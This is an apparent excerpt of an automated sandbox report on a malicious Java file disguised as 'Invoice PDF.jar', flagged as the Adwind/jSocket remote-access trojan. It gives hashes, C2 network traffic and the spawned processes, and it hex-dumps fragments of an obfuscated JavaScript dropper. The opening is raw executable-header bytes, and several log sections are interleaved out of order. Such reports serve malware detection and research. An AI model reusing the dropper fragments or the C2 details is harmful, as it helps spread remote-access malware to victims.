MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#..cp..cp..cp...p..cp...p..cp.D.p..cp..bp..cp.D.p..cp.D.p..cp.D.p..cp.
D.p..cp.D.p..cp.D.p..cpRich..cp........................PE..L.....\...........!......................................................................@..........................O..h...,J..<....p...............l..x........)..@.......
.........................H..@...............,............................text...h........................... ..`.rdata..8`.......b..................@..@.data...0....`.......8..............@....rsrc........p.......<..............@.
.@.reloc..B+.......,...@..............@..B................................................................................................................................................................................................................
........................................................................................
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Static File Info

General
File type: Zip archive data, at least v2.0 to extract

Entropy (8bit): 7.990033848936036

TrID: Java Archive (13504/1) 62.80%
ZIP compressed archive (8000/1) 37.20%

File name: Invoice PDF.jar

File size: 658679

MD5: 903b63e35bf8738809eab0f187027daf

SHA1: 257ff2ca9d7848e7c411790c3fa88a0aea479079

SHA256: bdfe705deebedf2b4edd1fee5bb225f3a14718f0a1007553
fec5050db0f7fe08

SHA512: 2c2145d002020579a5717ab480d0689a71428fe69366de
525d68da28c048fc7bbc6068608113756c55164932edaf8
700118e9a6c8158c3902b7a0a20f0a03638

SSDEEP: 12288:ivKyI6KN6nZsWz9vzuEvQL4J5QkJKHxM4B/7Ztj
k8BePEYXT:ly3KUnWK9v65e5QwKHxBB9tjJedXT

File Content Preview: PK........wJ.R...b..........$.lxrqyapglo/resources/ljtemfaohk
.. ...........5.75...]..75...]..75.......:r-x.~..}s.8.9....p..O...%BE
p..p...P.E..KbI.;..'...n{&.bfv.W.J....+.J$x.......e...........f:_....
?...........{.?.....=........i.........~....T......../..

File Icon

Icon Hash: d28c8e8ea2868ad6

Snort IDS Alerts

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

04/19/21-
23:32:52.341651

ICMP 384 ICMP PING 192.168.2.6 93.184.221.240

04/19/21-
23:32:52.376656

ICMP 449 ICMP Time-To-Live Exceeded in Transit 84.17.52.126 192.168.2.6

04/19/21-
23:32:52.377227

ICMP 384 ICMP PING 192.168.2.6 93.184.221.240

04/19/21-
23:32:52.412491

ICMP 449 ICMP Time-To-Live Exceeded in Transit 5.56.20.161 192.168.2.6

04/19/21-
23:32:52.412799

ICMP 384 ICMP PING 192.168.2.6 93.184.221.240

04/19/21-
23:32:52.454981

ICMP 449 ICMP Time-To-Live Exceeded in Transit 81.95.15.57 192.168.2.6

04/19/21-
23:32:52.455423

ICMP 384 ICMP PING 192.168.2.6 93.184.221.240

04/19/21-
23:32:52.496777

ICMP 449 ICMP Time-To-Live Exceeded in Transit 152.195.101.202 192.168.2.6

04/19/21-
23:32:52.497122

ICMP 384 ICMP PING 192.168.2.6 93.184.221.240

04/19/21-
23:32:52.547701

ICMP 449 ICMP Time-To-Live Exceeded in Transit 152.195.101.129 192.168.2.6

04/19/21-
23:32:52.548930

ICMP 384 ICMP PING 192.168.2.6 93.184.221.240

04/19/21-
23:32:52.589492

ICMP 408 ICMP Echo Reply 93.184.221.240 192.168.2.6

04/19/21-
23:33:40.478077

TCP 2020728 ET TROJAN Possible Adwind/jSocket SSL Cert (assylias.Inc) 7865 49739 107.175.101.209 192.168.2.6

Timestamp Source Port Dest Port Source IP Dest IP

Apr 19, 2021 23:33:39.848345995 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:39.985748053 CEST 7865 49739 107.175.101.209 192.168.2.6

TCP Packets
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Apr 19, 2021 23:33:39.985866070 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.336231947 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.478046894 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:40.478076935 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:40.478193045 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.510803938 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:40.510826111 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:40.512994051 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.548417091 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.568782091 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.573935986 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.705883026 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:40.713538885 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:40.713563919 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:40.713646889 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.716669083 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.855267048 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:40.860838890 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.861615896 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.862241983 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.862607956 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.862957954 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.863249063 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.863450050 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:40.996846914 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:40.998723984 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:46.919878960 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:46.919935942 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:46.920037985 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:33:46.920137882 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:47.069657087 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:47.274620056 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:47.285845995 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:33:47.422147989 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:02.321569920 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:02.581135035 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:07.322629929 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:07.579730034 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:16.387789965 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:16.398546934 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:16.431570053 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:16.536151886 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:16.536434889 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:16.543152094 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:16.748888969 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:16.748910904 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:16.748919964 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:16.749139071 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:16.753973007 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:16.754911900 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:16.755259991 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:16.892981052 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:16.894902945 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:16.895742893 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:17.093564034 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:17.292509079 CEST 49739 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:17.593197107 CEST 7865 49739 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938101053 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938141108 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938162088 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938210011 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938298941 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:21.938339949 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:21.938513994 CEST 7865 49774 107.175.101.209 192.168.2.6

Timestamp Source Port Dest Port Source IP Dest IP
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Code Manipulations

Statistics

Behavior

• cmd.exe

• conhost.exe

• java.exe

• icacls.exe

• conhost.exe

• wscript.exe

• regedit.exe

• javaw.exe

• java.exe

• conhost.exe

• cmd.exe

• conhost.exe

• cscript.exe

• cmd.exe

• conhost.exe

• cscript.exe

• cmd.exe

• conhost.exe

• cscript.exe

• cmd.exe

• conhost.exe

• cscript.exe

• xcopy.exe

• conhost.exe

Apr 19, 2021 23:34:21.938539028 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938555956 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938579082 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938596964 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938612938 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:21.938622952 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938648939 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:21.938658953 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938678026 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938689947 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938709974 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938721895 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938736916 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938749075 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938766956 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938786030 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938802958 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:21.938838005 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.938878059 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:21.938894987 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:21.939007044 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.939049006 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.939065933 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:21.939112902 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:22.074119091 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:22.074167967 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:22.074203968 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:22.074235916 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:22.074343920 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:22.074388981 CEST 49774 7865 192.168.2.6 107.175.101.209

Apr 19, 2021 23:34:22.074914932 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:22.074953079 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:22.074981928 CEST 7865 49774 107.175.101.209 192.168.2.6

Apr 19, 2021 23:34:22.075012922 CEST 7865 49774 107.175.101.209 192.168.2.6

Timestamp Source Port Dest Port Source IP Dest IP
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• cmd.exe

• conhost.exe

• cmd.exe

• conhost.exe

• taskkill.exe

• cmd.exe

Click to jump to process

System Behavior

File ActivitiesFile Activities

Start time: 23:32:51

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: C:\Windows\system32\cmd.exe /c ''C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -j
avaagent:'C:\Users\user\AppData\Local\Temp\jartracer.jar' -jar 'C:\Users\user\Desktop\Invoice 
PDF.jar''  >> C:\cmdlinestart.log 2>&1

Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\cmdlinestart.log read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 2AD194 CreateFileW

Start time: 23:32:51

Start date: 19/04/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: cmd.exe PID: 6840 Parent PID: 4492Analysis Process: cmd.exe PID: 6840 Parent PID: 4492

General

File CreatedFile Created

Analysis Process: conhost.exe PID: 6848 Parent PID: 6840Analysis Process: conhost.exe PID: 6848 Parent PID: 6840

General
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File ActivitiesFile Activities

Start time: 23:32:52

Start date: 19/04/2021

Path: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe'  -javaagent:'C:\Users\user\AppData
\Local\Temp\jartracer.jar' -jar 'C:\Users\user\Desktop\Invoice PDF.jar'  

Imagebase: 0xe60000

File size: 192376 bytes

MD5 hash: 28733BA8C383E865338638DF5196E6FE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Java

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\hsperfdata_user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 6DEB8C5B CreateDirectoryA

C:\Users\user\AppData\Local\Temp\hsperfdata_user\6892 read attributes | 
delete | syn
chronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
delete on close

success or wait 1 6DEB8D58 CreateFileA

C:\ProgramData\Oracle\Java\.oracle_jre_usage read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7378845C CreateDirectoryW

C:\ProgramData\Oracle\Java\.oracle_jre_usage\cce3fe3b0d8d83e
2.timestamp

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 737880CF CreateFileW

C:\Users\user\bgddtomvyl.js read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 73789D3D CreateFileW

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\ProgramData\Oracle\Java\.or
acle_jre_usage\cce3fe3b0d8d83e2.timestamp

unknown 57 43 3a 5c 50 72 6f 67 
72 61 6d 20 46 69 6c 
65 73 20 28 78 38 36 
29 5c 4a 61 76 61 5c 
6a 72 65 31 2e 38 2e 
30 5f 32 31 31 0d 0a 
31 36 31 38 39 30 30 
33 37 33 38 36 31 0d 
0a 

C:\Program Files 
(x86)\Java\jr
e1.8.0_211..161890037386
1..

success or wait 1 73789FBC WriteFile

Analysis Process: java.exe PID: 6892 Parent PID: 6840Analysis Process: java.exe PID: 6892 Parent PID: 6840

General

File CreatedFile Created

File WrittenFile Written
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C:\Users\user\bgddtomvyl.js unknown 1024 76 61 72 20 6e 30 74 
66 59 6b 20 3d 20 5b 
0a 66 75 6e 63 74 69 
6f 6e 28 29 20 7b 0a 
20 20 20 20 76 61 72 
20 75 42 75 6e 54 20 
3d 20 61 72 67 75 6d 
65 6e 74 73 3b 0a 20 
20 20 20 72 65 74 75 
72 6e 20 74 68 69 73 
5b 22 72 65 70 6c 61 
63 65 22 5d 28 2f 7b 
28 5c 64 2b 29 7d 2f 
67 2c 20 66 75 6e 63 
74 69 6f 6e 28 72 65 
66 30 2c 20 72 65 66 
31 29 20 7b 20 0a 09 
09 69 66 28 74 79 70 
65 6f 66 20 75 42 75 
6e 54 5b 72 65 66 31 
5d 20 21 3d 20 27 75 
6e 64 65 66 69 6e 65 
64 27 29 7b 0a 09 09 
09 72 65 74 75 72 6e 
20 75 42 75 6e 54 5b 
72 65 66 31 5d 3b 0a 
09 09 7d 65 6c 73 65 
7b 0a 09 09 09 72 65 
74 75 72 6e 20 72 65 
66 30 3b 0a 09 09 7d 
0a 20 20 20 20 7d 29 
3b 0a 7d 2c 0a 0a 41 
72 72 61 79 28 22 43 
72 65 61 74 65 4f 62 
6a 65 63 74 22 2c 22 
52 65 61 22 2c 20 22 
75 6e 64 

var n0tfYk = [.function() {.    
var uBunT = arguments;.    
return this["replace"]
(/{(\d+)}/g, function(ref0, 
ref1) { ...if(typeof 
uBunT[ref1] != 'undefined')
{....return uBunT[ref1]
;...}else{....return ref0;...}.    
});.},..Array("CreateObje
ct","Rea", "und

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 56 69 5a 32 56 68 5a 
57 64 6b 59 6d 52 6c 
59 32 46 6c 5a 47 5a 
6c 59 6d 46 6a 5a 53 
35 79 5a 57 63 69 4f 
77 30 4b 7b 32 7d 51 
7b 31 7d 7b 31 7d 5a 
69 68 7a 64 79 35 6d 
61 57 78 6c 52 58 68 
7b 31 7d 63 33 52 7a 
4b 48 42 68 63 6e 52 
6f 4b 53 6c 37 7b 32 
7d 51 6f 67 49 43 41 
67 63 33 63 75 5a 47 
56 73 5a 58 52 6c 52 
6d 6c 73 5a 53 68 77 
59 58 4a 30 61 43 6b 
37 7b 32 7d 51 7b 31 
7d 39 7b 32 7d 51 6f 
4e 43 6e 5a 68 63 69 
42 33 63 6d 6c 30 5a 
58 49 67 50 53 42 7a 
64 79 35 76 63 47 56 
75 56 47 56 34 64 45 
5a 7b 31 7d 62 47 55 
6f 63 47 46 79 64 47 
67 73 49 7b 32 7d 49 
73 49 48 52 79 64 57 
55 7b 31 7d 4f 77 30 
4b 64 33 4a 7b 31 7d 
64 47 56 79 4c 6e 64 
79 61 58 52 6c 7b 30 
7d 47 6c 75 5a 53 68 
79 5a 57 64 7b 32 7d 
62 32 35 30 5a 57 35 
30 4b 7b 30 7d 73 4e 
43 6e 64 

ViZ2VhZWdkYmRlY2FlZG
ZlYmFjZS5y
ZWciOw0K{2}Q{1}
{1}Zihzdy5maWxl
RXh{1}c3RzKHBhcnRoKSl
7{2}QogIC
Agc3cuZGVsZXRlRmlsZS
hwYXJ0aCk7
{2}Q{1}9{2}QoNCnZhciB3c
ml0ZXIg
PSBzdy5vcGVuVGV4dEZ{
1}bGUocGFy
dGgsI{2}IsIHRydWU{1}Ow
0Kd3J{1}
dGVyLndyaXRl{0}GluZShy
ZWd{2}b2
50ZW50K{0}sNCnd

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright Joe Security LLC 2021 Page 57 of 577



C:\Users\user\bgddtomvyl.js unknown 1024 49 67 62 6d 56 74 4e 
7b 32 7d 51 37 7b 32 
7d 51 7b 31 7d 32 59 
58 49 67 62 47 39 75 
5a 31 52 6c 65 48 51 
67 50 53 41 69 56 55 
56 7a 52 45 4a 43 55 
53 30 38 4a 55 4d 74 
50 43 56 6e 53 53 30 
38 4a 55 6b 30 52 57 
74 73 53 53 30 38 4a 
53 30 38 4a 53 30 38 
4a 53 30 38 4a 53 30 
38 4a 53 30 38 4a 53 
30 38 4a 53 30 38 4a 
53 30 38 4a 53 30 38 
4a 53 30 38 4a 53 30 
38 4a 53 30 38 4a 53 
30 38 4a 53 30 38 4a 
53 30 38 4a 56 55 74 
50 43 55 74 50 43 56 
52 4c 7b 30 7d 77 6c 
56 46 56 57 56 56 46 
7b 30 7d 4d 55 7b 31 
7d 55 61 31 6c 32 56 
46 56 47 7b 30 7d 31 
4e 56 57 6b 5a 56 4d 
56 46 31 56 46 56 69 
4b 33 6c 6e 4c 7b 30 
7d 77 6c 4c 7b 30 7d 
77 6c 56 46 6b 33 51 
6d 7b 31 7d 76 53 58 
64 48 53 56 52 32 56 
47 5a 76 7b 30 7d 32 
5a 5a 52 32 45 7a 57 
6e 5a 77 52 47 4a 77 
52 55 74 

IgbmVtN{2}Q7{2}Q{1}2YXI
gbG9uZ1
RleHQgPSAiVUVzREJCU
S08JUMtPCVn
SS08JUk0RWtsSS08JS08
JS08JS08JS
08JS08JS08JS08JS08JS0
8JS08JS08
JS08JS08JS08JS08JVUtP
CUtPCVRL{
0}wlVFVWVVF{0}MU{1}Ua
1l2VFVG{0
}1NVWkZVMVF1VFViK3ln
L{0}wlL{0}
wlVFk3Qm{1}vSXdHSVR2
VGZv{0}2ZZ
R2EzWnZwRGJwRUt

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 5a 78 61 6d 31 34 65 
58 4a 55 55 31 4e 33 
51 6b 4d 30 61 7b 32 
7d 56 30 63 31 64 50 
4e 46 46 6d 51 33 56 
73 64 45 74 7a 62 7b 
30 7d 63 79 7b 30 7d 
6d 5a 48 4c 31 4e 32 
64 6e 7b 31 7d 6e 4f 
47 39 7b 30 7d 63 32 
30 79 57 48 56 32 65 
58 4e 79 57 7b 32 7d 
4e 79 59 55 56 4b 53 
45 6c 7a 52 7a 42 78 
7b 30 7d 47 39 50 5a 
45 38 32 55 58 5a 68 
57 7b 30 7d 52 74 55 
31 4e 4e 61 7b 32 7d 
4e 30 61 7a 51 78 5a 
53 30 38 4a 55 5a 31 
7b 30 7d 58 46 32 53 
7b 32 7d 6b 72 62 32 
51 78 4e 31 7b 31 7d 
47 56 45 74 51 57 57 
4a 4b 59 6d 52 4a 53 
48 63 7a 59 6d 55 31 
4d 58 56 4c 53 7b 32 
7d 46 34 62 7a 64 6d 
55 30 68 6b 5a 48 67 
79 4e 45 5a 56 7b 30 
7d 55 74 59 4e 48 5a 
6a 56 33 64 53 57 53 
39 49 65 7b 32 7d 42 
69 4d 33 46 4f 4f 55 
31 77 65 6b 6c 32 61 
7b 32 7d 42 32 4d 57 
4a 73 7b 

Zxam14eXJUU1N3QkM0a
{2}V0c1dPNF
FmQ3VsdEtzb{0}cy{0}mZ
HL1N2dn{1
}nOG9{0}c20yWHV2eXNy
W{2}NyYUVK
SElzRzBx{0}G9PZE82UX
ZhW{0}RtU1
NNa{2}N0azQxZS08JUZ1{
0}XF2S{2}
krb2QxN1{1}GVEtQWWJK
YmRJSHczYm
U1MXVLS{2}F4bzdmU0hk
ZHgyNEZV{0
}UtYNHZjV3dSWS9Ie{2}Bi
M3FOOU1w
ekl2a{2}B2MWJs{

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\bgddtomvyl.js unknown 1024 42 51 7b 30 7d 30 64 
7b 32 7d 4f 7b 32 7d 
6b 7a 57 6c 4a 48 53 
6d 56 7b 31 7d 4e 57 
38 31 4d 6b 56 55 4d 
45 68 79 4e 57 5a 50 
53 32 31 72 61 57 35 
4d 7b 30 7d 58 42 5a 
7b 30 7d 7b 30 7d 51 
35 65 45 31 43 7b 30 
7d 31 5a 58 4e 47 6b 
78 57 6b 4e 53 59 7b 
30 7d 4e 4f 52 48 5a 
7b 30 7d 65 7b 32 7d 
64 57 56 6d 64 77 51 
33 4a 4d 56 31 6f 7a 
51 6d 68 36 56 7b 32 
7d 68 34 63 6d 45 31 
53 6b 74 79 7b 30 7d 
46 52 49 55 57 55 35 
55 47 68 6f 4d 30 4e 
4d 4e 57 52 73 5a 79 
74 4b 4d 45 5a 4d 4e 
48 49 31 5a 56 68 6a 
4f 55 35 50 4c 30 55 
32 4d 7b 32 7d 52 75 
55 7b 30 7d 55 34 64 
30 30 31 4c 30 35 4d 
57 56 64 47 56 45 31 
4e 64 33 5a 61 4e 31 
4a 4d 63 33 55 30 57 
6c 7b 31 7d 35 7b 30 
7d 6d 7b 31 7d 43 64 
56 68 7b 30 7d 61 45 
4a 43 4d 47 56 48 56 
56 7b 31 7d 32 4c 7b 
30 7d 77 

BQ{0}0d{2}O{2}kzWlJHSm
V{1}NW81
MkVUMEhyNWZPS21raW
5M{0}XBZ{0}{
0}Q5eE1C{0}1ZXNGkxWk
NSY{0}NORH
Z{0}e{2}dWVmdwQ3JMV1
ozQmh6V{2}
h4cmE1Skty{0}FRIUWU5
UGhoM0NMNW
RsZytKMEZMNHI1ZVhjO
U5PL0U2M{2}
RuU{0}U4d001L05MWVdG
VE1Nd3ZaN1
JMc3U0Wl{1}5{0}m{1}CdV
h{0}aEJC
MGVHVV{1}2L{0}w

success or wait 3 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 52 51 4d 6d 7b 31 7d 
76 65 6b 4e 48 7b 30 
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58 4e 4b 52 6e 4a 75 
56 6e 42 6c 61 6d 6b 
7a 53 30 56 6f 65 6d 
56 30 56 31 56 4a 61 
32 4d 74 50 43 56 75 
64 7a 67 31 4b 31 7b 
31 7d 6f 59 56 64 53 
5a 6b 68 45 59 6c 46 
4b 65 56 64 6c 4f 58 
56 47 5a 57 6b 32 4c 
7b 30 7d 77 6c 4e 32 
5a 7a 4e 32 64 7b 30 
7d 61 56 4e 78 62 31 
4d 31 59 56 7b 31 7d 
31 4f 56 46 45 55 6a 
42 31 55 31 56 4c 5a 
47 6c 35 5a 55 35 7b 
30 7d 55 45 56 48 4f 
56 68 52 55 7a 46 30 
65 58 4e 49 61 47 39 
71 62 58 4a 4b 4f 7b 
30 7d 55 77 64 32 31 
6b 4b 7a 46 6a 57 46 
4a 73 55 57 7b 31 7d 
4d 7b 30 7d 58 42 6b 
62 46 7b 31 7d 6a 61 
6e 5a 68 61 7a 64 47 
62 6b 4d 33 59 57 46 
6d 62 33 46 49 53 58 
4e 6b 51 32 4e 71 4c 
7a 64 4c 4f 47 77 77 
4d 6c 56 6a 61 47 46 
5a 53 32 35 55 62 6d 
68 56 56 57 5a 61 52 
69 30 38 4a 7b 30 7d 
42 6e 4c 
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55 5a 7b 32 7d 68 30 
4f 48 5a 7a 62 79 30 
38 4a 56 42 6b 61 7b 
32 7d 4a 33 59 6e 51 
7a 5a 55 4a 5a 57 45 
4e 79 5a 6d 52 73 55 
7a 68 6c 61 7b 30 7d 
5a 61 59 32 74 43 59 
56 68 4a 55 47 6c 6a 
53 43 30 38 4a 56 68 
6a 5a 6c 68 36 63 79 
38 72 65 6b 4d 76 4e 
69 39 36 55 32 52 50 
4f 55 6b 78 52 6a 4e 
45 57 7b 30 7d 46 35 
5a 30 6f 7a 52 55 31 
73 57 7b 30 7d 5a 50 
5a 6b 6c 7a 57 7b 30 
7d 4e 48 62 58 68 75 
61 7a 52 4d 65 69 39 
61 56 57 74 34 52 55 
56 48 5a 30 74 35 4f 
57 6b 33 63 58 4e 43 
53 47 34 72 7b 30 7d 
6d 68 5a 55 32 6c 34 
64 6a 64 75 56 31 63 
76 63 6c 42 68 52 6e 
68 43 56 6a 56 6f 57 
53 74 77 65 47 4d 30 
4d 56 6b 35 61 6d 74 
34 52 6b 64 35 61 32 
31 51 62 
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5a 52 7a 6b 74 50 43 
56 58 59 55 5a 35 61 
57 68 73 61 6d 59 77 
52 6b 4a 7b 30 7d 5a 
33 4e 36 63 6d 45 35 
4e 48 52 73 64 47 45 
72 4d 6d 4e 79 65 53 
74 59 57 47 68 74 53 
45 6b 33 56 69 74 7b 
32 7d 62 33 68 61 56 
53 30 38 4a 56 4a 49 
5a 32 4e 6d 56 43 74 
6b 64 30 7b 31 7d 4d 
57 6d 74 30 57 6b 6c 
69 56 7b 30 7d 6c 79 
56 7b 30 7d 42 4b 64 
56 5a 34 52 31 64 36 
64 6d 4a 6f 64 55 52 
61 53 32 4a 75 57 6c 
56 48 59 33 52 45 62 
46 68 4e 57 58 56 72 
65 6d 64 48 65 56 6c 
68 4e 6d 59 77 52 33 
4a 56 52 46 67 30 56 
57 63 32 5a 48 55 35 
4f 7b 32 7d 4e 58 65 
6d 30 76 62 55 78 32 
63 57 64 4c 5a 31 4e 
7b 31 7d 4e 7a 52 4c 
56 45 6c 79 5a 31 52 
6e 4d 58 59 34 62 30 
77 34 63 69 30 38 4a 
57 7b 31 7d 72 52 6a 
64 7b 31 7d 4e 45 4a 
71 64 57 46 52 4d 6e 
64 34 63 
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6a 42 5a 4f 57 52 4d 
